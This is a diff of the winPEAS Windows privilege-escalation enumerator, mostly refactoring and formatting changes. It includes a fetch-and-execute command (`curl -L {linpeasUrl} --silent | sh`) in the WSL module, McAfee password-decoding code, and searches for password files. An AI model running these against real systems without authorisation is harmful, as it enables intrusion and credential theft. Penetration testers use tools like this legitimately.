Beaprint.ColorPrint($" User Or Group Sid: {filePathRule.UserOrGroupSid}\n", color);
|
||||
|
||||
Beaprint.GoodPrint($" Conditions");
|
||||
|
||||
@@ -327,6 +327,8 @@ namespace winPEAS.Helpers.AppLocker
|
||||
if (depth == FolderCheckMaxDepth) return false;
|
||||
|
||||
try
|
||||
{
|
||||
if (Directory.Exists(path))
|
||||
{
|
||||
var subfolders = Directory.EnumerateDirectories(path);
|
||||
var files = Directory.EnumerateFiles(path, "*", SearchOption.TopDirectoryOnly);
|
||||
@@ -363,6 +365,7 @@ namespace winPEAS.Helpers.AppLocker
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Threading;
|
||||
|
||||
namespace winPEAS.Helpers
|
||||
{
|
||||
@@ -83,7 +82,7 @@ namespace winPEAS.Helpers
|
||||
| {1}Do you like PEASS?{0} |
|
||||
|---------------------------------------------------------------------------------|
|
||||
| {3}Get the latest version{0} : {2}https://github.com/sponsors/carlospolop{0} |
|
||||
| {3}Follow on Twitter{0} : {2}@carlospolopm{0} |
|
||||
| {3}Follow on Twitter{0} : {2}@hacktricks_live{0} |
|
||||
| {3}Respect on HTB{0} : {2}SirBroccoli {0} |
|
||||
|---------------------------------------------------------------------------------|
|
||||
| {1}Thank you!{0} |
|
||||
@@ -99,13 +98,13 @@ namespace winPEAS.Helpers
|
||||
PrintBanner();
|
||||
}
|
||||
|
||||
Console.WriteLine(YELLOW + " WinPEAS-ng" + NOCOLOR + YELLOW + " by @carlospolopm" + NOCOLOR);
|
||||
Console.WriteLine(YELLOW + " WinPEAS-ng" + NOCOLOR + YELLOW + " by @hacktricks_live" + NOCOLOR);
|
||||
|
||||
PrintMarketingBanner();
|
||||
|
||||
PrintLegend();
|
||||
Console.WriteLine();
|
||||
Console.WriteLine(BLUE + " You can find a Windows local PE Checklist here: "+YELLOW+"https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation");
|
||||
Console.WriteLine(BLUE + " You can find a Windows local PE Checklist here: " + YELLOW + "https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation");
|
||||
}
|
||||
|
||||
static void PrintLegend()
|
||||
|
||||
@@ -4,7 +4,6 @@ using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security;
|
||||
using System.Security.Permissions;
|
||||
using System.Text;
|
||||
using winPEAS.Native;
|
||||
using winPEAS.Native.Enums;
|
||||
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
using System;
|
||||
using Microsoft.Win32.SafeHandles;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using Microsoft.Win32.SafeHandles;
|
||||
using winPEAS.Native;
|
||||
|
||||
namespace winPEAS.Helpers.CredentialManager
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using winPEAS.Native;
|
||||
using winPEAS.Native.Enums;
|
||||
|
||||
|
||||
@@ -1,11 +1,9 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace winPEAS.Helpers
|
||||
{
|
||||
@@ -244,7 +242,7 @@ namespace winPEAS.Helpers
|
||||
{
|
||||
|
||||
string perm = PermissionsHelper.PermInt2Str((int)h.GrantedAccess, PermissionType.WRITEABLE_OR_EQUIVALENT);
|
||||
if (perm != null && perm.Length> 0)
|
||||
if (perm != null && perm.Length > 0)
|
||||
{
|
||||
vulnHandler.isVuln = true;
|
||||
vulnHandler.reason = perm;
|
||||
@@ -438,9 +436,11 @@ namespace winPEAS.Helpers
|
||||
// Get the owner of a process given the PID
|
||||
public static Dictionary<string, string> GetProcU(Process p)
|
||||
{
|
||||
Dictionary<string, string> data = new Dictionary<string, string>();
|
||||
data["name"] = "";
|
||||
data["sid"] = "";
|
||||
Dictionary<string, string> data = new Dictionary<string, string>
|
||||
{
|
||||
["name"] = "",
|
||||
["sid"] = ""
|
||||
};
|
||||
IntPtr pHandle = IntPtr.Zero;
|
||||
try
|
||||
{
|
||||
@@ -471,7 +471,7 @@ namespace winPEAS.Helpers
|
||||
PT_RELEVANT_INFO pri = new PT_RELEVANT_INFO();
|
||||
|
||||
Process proc = Process.GetProcessById(pid);
|
||||
Dictionary<string,string> user = GetProcU(proc);
|
||||
Dictionary<string, string> user = GetProcU(proc);
|
||||
|
||||
StringBuilder fileName = new StringBuilder(2000);
|
||||
Native.Psapi.GetProcessImageFileName(proc.Handle, fileName, 2000);
|
||||
@@ -586,7 +586,7 @@ namespace winPEAS.Helpers
|
||||
{ // This shouldn't be needed
|
||||
if (path.StartsWith("\\"))
|
||||
path = path.Substring(1);
|
||||
hive = Helpers.Registry.RegistryHelper.CheckIfExists(path);
|
||||
hive = Registry.RegistryHelper.CheckIfExists(path);
|
||||
}
|
||||
|
||||
if (path.StartsWith("\\"))
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace winPEAS.Helpers
|
||||
{
|
||||
|
||||
@@ -76,7 +76,7 @@ namespace winPEAS.Helpers
|
||||
}
|
||||
|
||||
//Check if rundll32
|
||||
string[] binaryPathdll32 = binaryPath.Split(new string[] {"Rundll32.exe"}, StringSplitOptions.None);
|
||||
string[] binaryPathdll32 = binaryPath.Split(new string[] { "Rundll32.exe" }, StringSplitOptions.None);
|
||||
|
||||
if (binaryPathdll32.Length > 1)
|
||||
{
|
||||
@@ -224,7 +224,7 @@ namespace winPEAS.Helpers
|
||||
return strOutput;
|
||||
}
|
||||
|
||||
private static string[] suffixes = new[] {" B", " KB", " MB", " GB", " TB", " PB"};
|
||||
private static string[] suffixes = new[] { " B", " KB", " MB", " GB", " TB", " PB" };
|
||||
|
||||
public static string ConvertBytesToHumanReadable(double number, int precision = 2)
|
||||
{
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
using System;
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Security.AccessControl;
|
||||
using System.Security.Principal;
|
||||
using System.Text.RegularExpressions;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace winPEAS.Helpers
|
||||
{
|
||||
@@ -353,6 +353,8 @@ namespace winPEAS.Helpers
|
||||
{
|
||||
results[path] = String.Join(", ", GetPermissionsFolder(path, Checks.Checks.CurrentUserSiDs));
|
||||
if (string.IsNullOrEmpty(results[path]))
|
||||
{
|
||||
if (Directory.Exists(path))
|
||||
{
|
||||
foreach (string d in Directory.EnumerateDirectories(path))
|
||||
{
|
||||
@@ -365,6 +367,7 @@ namespace winPEAS.Helpers
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
//Access denied to a path
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
using System;
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace winPEAS.Helpers.Registry
|
||||
{
|
||||
@@ -177,7 +177,7 @@ namespace winPEAS.Helpers.Registry
|
||||
|
||||
internal static uint? GetDwordValue(string hive, string key, string val)
|
||||
{
|
||||
string strValue = RegistryHelper.GetRegValue(hive, key, val);
|
||||
string strValue = GetRegValue(hive, key, val);
|
||||
|
||||
if (uint.TryParse(strValue, out uint res))
|
||||
{
|
||||
|
||||
@@ -5,6 +5,8 @@ using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Threading.Tasks;
|
||||
using FileInfo = Alphaleonis.Win32.Filesystem.FileInfo;
|
||||
using DirectoryInfo = Alphaleonis.Win32.Filesystem.DirectoryInfo;
|
||||
|
||||
namespace winPEAS.Helpers.Search
|
||||
{
|
||||
@@ -39,12 +41,131 @@ namespace winPEAS.Helpers.Search
|
||||
".png", ".psd", ".raw", ".svg", ".svgz", ".tif", ".tiff", ".webp",
|
||||
};
|
||||
|
||||
//public static List<CustomFileInfo> GetFilesFast(string folder, string pattern = "*", HashSet<string> excludedDirs = null, bool isFoldersIncluded = false)
|
||||
//{
|
||||
// ConcurrentBag<CustomFileInfo> files = new ConcurrentBag<CustomFileInfo>();
|
||||
// IEnumerable<DirectoryInfo> startDirs = GetStartDirectories(folder, files, pattern, isFoldersIncluded);
|
||||
// IList<DirectoryInfo> startDirsExcluded = new List<DirectoryInfo>();
|
||||
// IList<string> known_dirs = new List<string>();
|
||||
|
||||
// if (excludedDirs != null)
|
||||
// {
|
||||
// foreach (var startDir in startDirs)
|
||||
// {
|
||||
// bool shouldAdd = true;
|
||||
// string startDirLower = startDir.FullName.ToLower();
|
||||
|
||||
// shouldAdd = !excludedDirs.Contains(startDirLower);
|
||||
|
||||
// if (shouldAdd)
|
||||
// {
|
||||
// startDirsExcluded.Add(startDir);
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
// else
|
||||
// {
|
||||
// startDirsExcluded = startDirs.ToList();
|
||||
// }
|
||||
|
||||
// Parallel.ForEach(startDirsExcluded, (d) =>
|
||||
// {
|
||||
// Parallel.ForEach(GetStartDirectories(d.FullName, files, pattern, isFoldersIncluded), (dir) =>
|
||||
// {
|
||||
// GetFiles(dir.FullName, pattern).ForEach(
|
||||
// (f) =>
|
||||
// {
|
||||
// if (!StaticExtensions.Contains(f.Extension.ToLower()))
|
||||
// {
|
||||
// // It should always be lesss than 260, but some times it isn't so this will bypass that file
|
||||
// //if (Checks.Checks.IsLongPath || f.FullName.Length <= 260)
|
||||
// //{
|
||||
// CustomFileInfo file_info = new CustomFileInfo(f.Name, f.Extension, f.FullName, f.Length, false);
|
||||
// files.Add(file_info);
|
||||
|
||||
// CustomFileInfo file_dir = new CustomFileInfo(f.Directory.Name, "", f.Directory.FullName, 0, true);
|
||||
// if (!known_dirs.Contains(file_dir.FullPath))
|
||||
// {
|
||||
// known_dirs.Add(file_dir.FullPath);
|
||||
// files.Add(file_dir);
|
||||
// }
|
||||
// //}
|
||||
// //else if (f.FullName.Length > 260)
|
||||
// //Beaprint.LongPathWarning(f.FullName);
|
||||
// }
|
||||
// }
|
||||
// );
|
||||
// });
|
||||
// });
|
||||
|
||||
// return files.ToList();
|
||||
//}
|
||||
|
||||
//private static List<FileInfo> GetFiles(string folder, string pattern = "*")
|
||||
//{
|
||||
// DirectoryInfo dirInfo;
|
||||
// DirectoryInfo[] directories;
|
||||
// try
|
||||
// {
|
||||
// dirInfo = new DirectoryInfo(folder);
|
||||
// directories = dirInfo.GetDirectories();
|
||||
|
||||
// if (directories.Length == 0)
|
||||
// {
|
||||
// return new List<FileInfo>(dirInfo.GetFiles(pattern));
|
||||
// }
|
||||
// }
|
||||
// catch (UnauthorizedAccessException)
|
||||
// {
|
||||
// return new List<FileInfo>();
|
||||
// }
|
||||
// catch (PathTooLongException)
|
||||
// {
|
||||
// return new List<FileInfo>();
|
||||
// }
|
||||
// catch (DirectoryNotFoundException)
|
||||
// {
|
||||
// return new List<FileInfo>();
|
||||
// }
|
||||
// catch (Exception)
|
||||
// {
|
||||
// return new List<FileInfo>();
|
||||
// }
|
||||
|
||||
// List<FileInfo> result = new List<FileInfo>();
|
||||
|
||||
// foreach (var d in directories)
|
||||
// {
|
||||
// result.AddRange(GetFiles(d.FullName, pattern));
|
||||
// }
|
||||
|
||||
// try
|
||||
// {
|
||||
// result.AddRange(dirInfo.GetFiles(pattern));
|
||||
// }
|
||||
// catch (UnauthorizedAccessException)
|
||||
// {
|
||||
// }
|
||||
// catch (PathTooLongException)
|
||||
// {
|
||||
// }
|
||||
// catch (DirectoryNotFoundException)
|
||||
// {
|
||||
// }
|
||||
// catch (Exception)
|
||||
// {
|
||||
// }
|
||||
|
||||
// return result;
|
||||
//}
|
||||
|
||||
|
||||
public static List<CustomFileInfo> GetFilesFast(string folder, string pattern = "*", HashSet<string> excludedDirs = null, bool isFoldersIncluded = false)
|
||||
{
|
||||
ConcurrentBag<CustomFileInfo> files = new ConcurrentBag<CustomFileInfo>();
|
||||
IEnumerable<DirectoryInfo> startDirs = GetStartDirectories(folder, files, pattern, isFoldersIncluded);
|
||||
IList<DirectoryInfo> startDirsExcluded = new List<DirectoryInfo>();
|
||||
IList<string> known_dirs = new List<string>();
|
||||
ConcurrentDictionary<string, byte> known_dirs = new ConcurrentDictionary<string, byte>();
|
||||
|
||||
if (excludedDirs != null)
|
||||
{
|
||||
@@ -68,37 +189,27 @@ namespace winPEAS.Helpers.Search
|
||||
|
||||
Parallel.ForEach(startDirsExcluded, (d) =>
|
||||
{
|
||||
Parallel.ForEach(GetStartDirectories(d.FullName, files, pattern, isFoldersIncluded), (dir) =>
|
||||
var foundFiles = GetFiles(d.FullName, pattern);
|
||||
foreach (var f in foundFiles)
|
||||
{
|
||||
GetFiles(dir.FullName, pattern).ForEach(
|
||||
(f) =>
|
||||
{
|
||||
if (!StaticExtensions.Contains(f.Extension.ToLower()))
|
||||
{
|
||||
// It should always be lesss than 260, but some times it isn't so this will bypass that file
|
||||
if (Checks.Checks.IsLongPath || f.FullName.Length <= 260)
|
||||
if (f != null && !StaticExtensions.Contains(f.Extension.ToLower()))
|
||||
{
|
||||
CustomFileInfo file_info = new CustomFileInfo(f.Name, f.Extension, f.FullName, f.Length, false);
|
||||
files.Add(file_info);
|
||||
|
||||
CustomFileInfo file_dir = new CustomFileInfo(f.Directory.Name, "", f.Directory.FullName, 0, true);
|
||||
if (!known_dirs.Contains(file_dir.FullPath))
|
||||
if (known_dirs.TryAdd(file_dir.FullPath, 0))
|
||||
{
|
||||
known_dirs.Add(file_dir.FullPath);
|
||||
files.Add(file_dir);
|
||||
}
|
||||
}
|
||||
else if (f.FullName.Length > 260)
|
||||
Beaprint.LongPathWarning(f.FullName);
|
||||
}
|
||||
}
|
||||
) ;
|
||||
});
|
||||
});
|
||||
|
||||
return files.ToList();
|
||||
}
|
||||
|
||||
|
||||
private static List<FileInfo> GetFiles(string folder, string pattern = "*")
|
||||
{
|
||||
DirectoryInfo dirInfo;
|
||||
@@ -130,16 +241,22 @@ namespace winPEAS.Helpers.Search
|
||||
return new List<FileInfo>();
|
||||
}
|
||||
|
||||
List<FileInfo> result = new List<FileInfo>();
|
||||
ConcurrentBag<FileInfo> result = new ConcurrentBag<FileInfo>();
|
||||
|
||||
foreach (var d in directories)
|
||||
Parallel.ForEach(directories, (d) =>
|
||||
{
|
||||
result.AddRange(GetFiles(d.FullName, pattern));
|
||||
foreach (var file in GetFiles(d.FullName, pattern))
|
||||
{
|
||||
result.Add(file);
|
||||
}
|
||||
});
|
||||
|
||||
try
|
||||
{
|
||||
result.AddRange(dirInfo.GetFiles(pattern));
|
||||
foreach (var file in dirInfo.GetFiles(pattern))
|
||||
{
|
||||
result.Add(file);
|
||||
}
|
||||
}
|
||||
catch (UnauthorizedAccessException)
|
||||
{
|
||||
@@ -154,7 +271,7 @@ namespace winPEAS.Helpers.Search
|
||||
{
|
||||
}
|
||||
|
||||
return result;
|
||||
return result.ToList();
|
||||
}
|
||||
|
||||
private static IEnumerable<DirectoryInfo> GetStartDirectories(string folder, ConcurrentBag<CustomFileInfo> files, string pattern, bool isFoldersIncluded = false)
|
||||
@@ -221,43 +338,43 @@ namespace winPEAS.Helpers.Search
|
||||
{
|
||||
// c:\users
|
||||
string rootUsersSearchPath = $"{SystemDrive}\\Users\\";
|
||||
SearchHelper.RootDirUsers = SearchHelper.GetFilesFast(rootUsersSearchPath, GlobalPattern, isFoldersIncluded: true);
|
||||
RootDirUsers = GetFilesFast(rootUsersSearchPath, GlobalPattern, isFoldersIncluded: true);
|
||||
|
||||
// c:\users\current_user
|
||||
string rootCurrentUserSearchPath = Environment.GetEnvironmentVariable("USERPROFILE");
|
||||
SearchHelper.RootDirCurrentUser = SearchHelper.GetFilesFast(rootCurrentUserSearchPath, GlobalPattern, isFoldersIncluded: true);
|
||||
RootDirCurrentUser = GetFilesFast(rootCurrentUserSearchPath, GlobalPattern, isFoldersIncluded: true);
|
||||
|
||||
// c:\Program Files\
|
||||
string rootProgramFiles = $"{SystemDrive}\\Program Files\\";
|
||||
SearchHelper.ProgramFiles = SearchHelper.GetFilesFast(rootProgramFiles, GlobalPattern, isFoldersIncluded: true);
|
||||
ProgramFiles = GetFilesFast(rootProgramFiles, GlobalPattern, isFoldersIncluded: true);
|
||||
|
||||
// c:\Program Files (x86)\
|
||||
string rootProgramFilesX86 = $"{SystemDrive}\\Program Files (x86)\\";
|
||||
SearchHelper.ProgramFilesX86 = SearchHelper.GetFilesFast(rootProgramFilesX86, GlobalPattern, isFoldersIncluded: true);
|
||||
ProgramFilesX86 = GetFilesFast(rootProgramFilesX86, GlobalPattern, isFoldersIncluded: true);
|
||||
|
||||
// c:\Documents and Settings\
|
||||
string documentsAndSettings = $"{SystemDrive}\\Documents and Settings\\";
|
||||
SearchHelper.DocumentsAndSettings = SearchHelper.GetFilesFast(documentsAndSettings, GlobalPattern, isFoldersIncluded: true);
|
||||
DocumentsAndSettings = GetFilesFast(documentsAndSettings, GlobalPattern, isFoldersIncluded: true);
|
||||
|
||||
// c:\ProgramData\Microsoft\Group Policy\History
|
||||
string groupPolicyHistory = $"{SystemDrive}\\ProgramData\\Microsoft\\Group Policy\\History";
|
||||
SearchHelper.GroupPolicyHistory = SearchHelper.GetFilesFast(groupPolicyHistory, GlobalPattern, isFoldersIncluded: true);
|
||||
GroupPolicyHistory = GetFilesFast(groupPolicyHistory, GlobalPattern, isFoldersIncluded: true);
|
||||
|
||||
// c:\Documents and Settings\All Users\Application Data\\Microsoft\\Group Policy\\History
|
||||
string groupPolicyHistoryLegacy = $"{documentsAndSettings}\\All Users\\Application Data\\Microsoft\\Group Policy\\History";
|
||||
//SearchHelper.GroupPolicyHistoryLegacy = SearchHelper.GetFilesFast(groupPolicyHistoryLegacy, globalPattern);
|
||||
var groupPolicyHistoryLegacyFiles = SearchHelper.GetFilesFast(groupPolicyHistoryLegacy, GlobalPattern, isFoldersIncluded: true);
|
||||
SearchHelper.GroupPolicyHistory.AddRange(groupPolicyHistoryLegacyFiles);
|
||||
var groupPolicyHistoryLegacyFiles = GetFilesFast(groupPolicyHistoryLegacy, GlobalPattern, isFoldersIncluded: true);
|
||||
GroupPolicyHistory.AddRange(groupPolicyHistoryLegacyFiles);
|
||||
}
|
||||
|
||||
internal static void CleanLists()
|
||||
{
|
||||
SearchHelper.RootDirUsers = null;
|
||||
SearchHelper.RootDirCurrentUser = null;
|
||||
SearchHelper.ProgramFiles = null;
|
||||
SearchHelper.ProgramFilesX86 = null;
|
||||
SearchHelper.DocumentsAndSettings = null;
|
||||
SearchHelper.GroupPolicyHistory = null;
|
||||
RootDirUsers = null;
|
||||
RootDirCurrentUser = null;
|
||||
ProgramFiles = null;
|
||||
ProgramFilesX86 = null;
|
||||
DocumentsAndSettings = null;
|
||||
GroupPolicyHistory = null;
|
||||
|
||||
GC.Collect();
|
||||
}
|
||||
@@ -270,7 +387,7 @@ namespace winPEAS.Helpers.Search
|
||||
".*password.*"
|
||||
};
|
||||
|
||||
foreach (var file in SearchHelper.RootDirUsers)
|
||||
foreach (var file in RootDirUsers)
|
||||
{
|
||||
//string extLower = file.Extension.ToLower();
|
||||
|
||||
@@ -297,7 +414,7 @@ namespace winPEAS.Helpers.Search
|
||||
{
|
||||
var result = new List<string>();
|
||||
|
||||
foreach (var file in SearchHelper.RootDirCurrentUser)
|
||||
foreach (var file in RootDirCurrentUser)
|
||||
{
|
||||
if (!file.IsDirectory)
|
||||
{
|
||||
@@ -337,7 +454,7 @@ namespace winPEAS.Helpers.Search
|
||||
".xml"
|
||||
};
|
||||
|
||||
foreach (var file in SearchHelper.GroupPolicyHistory)
|
||||
foreach (var file in GroupPolicyHistory)
|
||||
{
|
||||
if (!file.IsDirectory)
|
||||
{
|
||||
@@ -361,14 +478,14 @@ namespace winPEAS.Helpers.Search
|
||||
};
|
||||
|
||||
string programDataPath = $"{SystemDrive}\\ProgramData\\";
|
||||
var programData = SearchHelper.GetFilesFast(programDataPath, GlobalPattern);
|
||||
var programData = GetFilesFast(programDataPath, GlobalPattern);
|
||||
|
||||
var searchFiles = new List<CustomFileInfo>();
|
||||
searchFiles.AddRange(SearchHelper.ProgramFiles);
|
||||
searchFiles.AddRange(SearchHelper.ProgramFilesX86);
|
||||
searchFiles.AddRange(ProgramFiles);
|
||||
searchFiles.AddRange(ProgramFilesX86);
|
||||
searchFiles.AddRange(programData);
|
||||
searchFiles.AddRange(SearchHelper.DocumentsAndSettings);
|
||||
searchFiles.AddRange(SearchHelper.RootDirUsers);
|
||||
searchFiles.AddRange(DocumentsAndSettings);
|
||||
searchFiles.AddRange(RootDirUsers);
|
||||
|
||||
foreach (var file in searchFiles)
|
||||
{
|
||||
@@ -403,7 +520,7 @@ namespace winPEAS.Helpers.Search
|
||||
".pdf",
|
||||
};
|
||||
|
||||
foreach (var file in SearchHelper.RootDirCurrentUser)
|
||||
foreach (var file in RootDirCurrentUser)
|
||||
{
|
||||
if (!file.IsDirectory)
|
||||
{
|
||||
@@ -451,7 +568,7 @@ namespace winPEAS.Helpers.Search
|
||||
".pdf",
|
||||
};
|
||||
|
||||
foreach (var file in SearchHelper.RootDirUsers)
|
||||
foreach (var file in RootDirUsers)
|
||||
{
|
||||
if (!file.IsDirectory)
|
||||
{
|
||||
|
||||
@@ -8,7 +8,8 @@ namespace winPEAS.Helpers.YamlConfig
|
||||
{
|
||||
public string name { get; set; }
|
||||
public RegularExpression[] regexes { get; set; }
|
||||
public class RegularExpression {
|
||||
public class RegularExpression
|
||||
{
|
||||
public string name { get; set; }
|
||||
public string regex { get; set; }
|
||||
|
||||
|
||||
@@ -1,10 +1,9 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Yaml.Serialization;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Linq;
|
||||
using System.Reflection;
|
||||
using System.Yaml.Serialization;
|
||||
using static winPEAS.Helpers.YamlConfig.YamlConfig;
|
||||
using static winPEAS.Helpers.YamlConfig.YamlRegexConfig;
|
||||
|
||||
|
||||
namespace winPEAS.Helpers.YamlConfig
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Native;
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
using System;
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Management;
|
||||
using System.Text.RegularExpressions;
|
||||
using Microsoft.Win32;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.Registry;
|
||||
|
||||
@@ -204,7 +204,7 @@ namespace winPEAS.Info.ApplicationInfo
|
||||
{
|
||||
autorunLocationKey[0], autorunLocationKey[1] + "\\" + clsid_name, autorunLocationKey[2]
|
||||
}
|
||||
: new List<string> {autorunLocationKey[0], autorunLocationKey[1] + "\\" + clsid_name});
|
||||
: new List<string> { autorunLocationKey[0], autorunLocationKey[1] + "\\" + clsid_name });
|
||||
}
|
||||
}
|
||||
|
||||
@@ -343,6 +343,8 @@ namespace winPEAS.Info.ApplicationInfo
|
||||
usersPath = Directory.GetParent(usersPath).FullName;
|
||||
|
||||
try
|
||||
{
|
||||
if (Directory.Exists(usersPath))
|
||||
{
|
||||
var userDirs = Directory.EnumerateDirectories(usersPath);
|
||||
|
||||
@@ -356,6 +358,7 @@ namespace winPEAS.Info.ApplicationInfo
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
@@ -363,6 +366,8 @@ namespace winPEAS.Info.ApplicationInfo
|
||||
foreach (string path in autorunLocations)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (Directory.Exists(path))
|
||||
{
|
||||
var files = Directory.EnumerateFiles(path, "*", SearchOption.TopDirectoryOnly);
|
||||
|
||||
@@ -382,6 +387,7 @@ namespace winPEAS.Info.ApplicationInfo
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
|
||||
@@ -70,6 +70,8 @@ namespace winPEAS.Info.ApplicationInfo
|
||||
{
|
||||
var results = new SortedDictionary<string, Dictionary<string, string>>();
|
||||
try
|
||||
{
|
||||
if (Directory.Exists(fpath))
|
||||
{
|
||||
foreach (string f in Directory.EnumerateFiles(fpath))
|
||||
{
|
||||
@@ -83,6 +85,7 @@ namespace winPEAS.Info.ApplicationInfo
|
||||
results[d] = PermissionsHelper.GetRecursivePrivs(d);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Beaprint.GrayPrint("Error: " + ex);
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
using System.Collections.Generic;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Info.EventsInfo.PowerShell;
|
||||
|
||||
namespace winPEAS.Info.EventsInfo.ProcessCreation
|
||||
{
|
||||
|
||||
@@ -127,7 +127,7 @@ namespace winPEAS.Info.FilesInfo.McAfee
|
||||
byte[] XORKey = { 0x12, 0x15, 0x0F, 0x10, 0x11, 0x1C, 0x1A, 0x06, 0x0A, 0x1F, 0x1B, 0x18, 0x17, 0x16, 0x05, 0x19 };
|
||||
|
||||
// xor the input b64 string with the static XOR key
|
||||
var passwordBytes = System.Convert.FromBase64String(base64password);
|
||||
var passwordBytes = Convert.FromBase64String(base64password);
|
||||
for (var i = 0; i < passwordBytes.Length; i++)
|
||||
{
|
||||
passwordBytes[i] = (byte)(passwordBytes[i] ^ XORKey[i % XORKey.Length]);
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
using System;
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Globalization;
|
||||
using System.Linq;
|
||||
using System.Text.RegularExpressions;
|
||||
using Microsoft.Win32;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.Registry;
|
||||
using winPEAS.Info.FilesInfo.Office.OneDrive;
|
||||
|
||||
@@ -8,7 +8,7 @@ namespace winPEAS.Info.FilesInfo.WSL
|
||||
{
|
||||
public static void RunLinpeas(string linpeasUrl)
|
||||
{
|
||||
string linpeasCmd = $"curl {linpeasUrl} --silent | sh";
|
||||
string linpeasCmd = $"curl -L {linpeasUrl} --silent | sh";
|
||||
string command = Environment.Is64BitProcess ?
|
||||
$@"bash -c ""{linpeasCmd}""" :
|
||||
Environment.GetEnvironmentVariable("WinDir") + $"\\SysNative\\bash.exe -c \"{linpeasCmd}\"";
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using winPEAS.Helpers;
|
||||
|
||||
@@ -25,7 +24,7 @@ namespace winPEAS.Info.NetworkInfo
|
||||
Type firewall = Type.GetTypeFromCLSID(new Guid("E2B3C97F-6AE1-41AC-817A-F6F92166D7DD"));
|
||||
object firewallObj = Activator.CreateInstance(firewall);
|
||||
object types = ReflectionHelper.InvokeMemberProperty(firewallObj, "CurrentProfileTypes");
|
||||
result = $"{(FirewallProfiles) int.Parse(types.ToString())}";
|
||||
result = $"{(FirewallProfiles)int.Parse(types.ToString())}";
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
|
||||
@@ -191,12 +191,12 @@ namespace winPEAS.Info.NetworkInfo
|
||||
foreach (var listener in props.GetActiveTcpListeners())
|
||||
{
|
||||
bool repeated = false;
|
||||
foreach(List<string> inside_entry in results)
|
||||
foreach (List<string> inside_entry in results)
|
||||
{
|
||||
if (inside_entry.SequenceEqual(new List<string>() { "TCP", listener.ToString(), "", "Listening" }))
|
||||
repeated = true;
|
||||
}
|
||||
if (! repeated)
|
||||
if (!repeated)
|
||||
results.Add(new List<string>() { "TCP", listener.ToString(), "", "Listening" });
|
||||
}
|
||||
|
||||
@@ -337,7 +337,7 @@ namespace winPEAS.Info.NetworkInfo
|
||||
// Determine if IPv4 or IPv6.
|
||||
if (ipVersion == IPVersion.IPv4)
|
||||
{
|
||||
MIB_TCPTABLE_OWNER_PID tcpRecordsTable = (MIB_TCPTABLE_OWNER_PID) Marshal.PtrToStructure(tcpTableRecordsPtr, typeof(MIB_TCPTABLE_OWNER_PID));
|
||||
MIB_TCPTABLE_OWNER_PID tcpRecordsTable = (MIB_TCPTABLE_OWNER_PID)Marshal.PtrToStructure(tcpTableRecordsPtr, typeof(MIB_TCPTABLE_OWNER_PID));
|
||||
|
||||
IntPtr tableRowPtr = (IntPtr)((long)tcpTableRecordsPtr + Marshal.SizeOf(tcpRecordsTable.dwNumEntries));
|
||||
|
||||
@@ -373,7 +373,7 @@ namespace winPEAS.Info.NetworkInfo
|
||||
}
|
||||
else if (ipVersion == IPVersion.IPv6)
|
||||
{
|
||||
MIB_TCP6TABLE_OWNER_PID tcpRecordsTable = (MIB_TCP6TABLE_OWNER_PID) Marshal.PtrToStructure(tcpTableRecordsPtr, typeof(MIB_TCP6TABLE_OWNER_PID));
|
||||
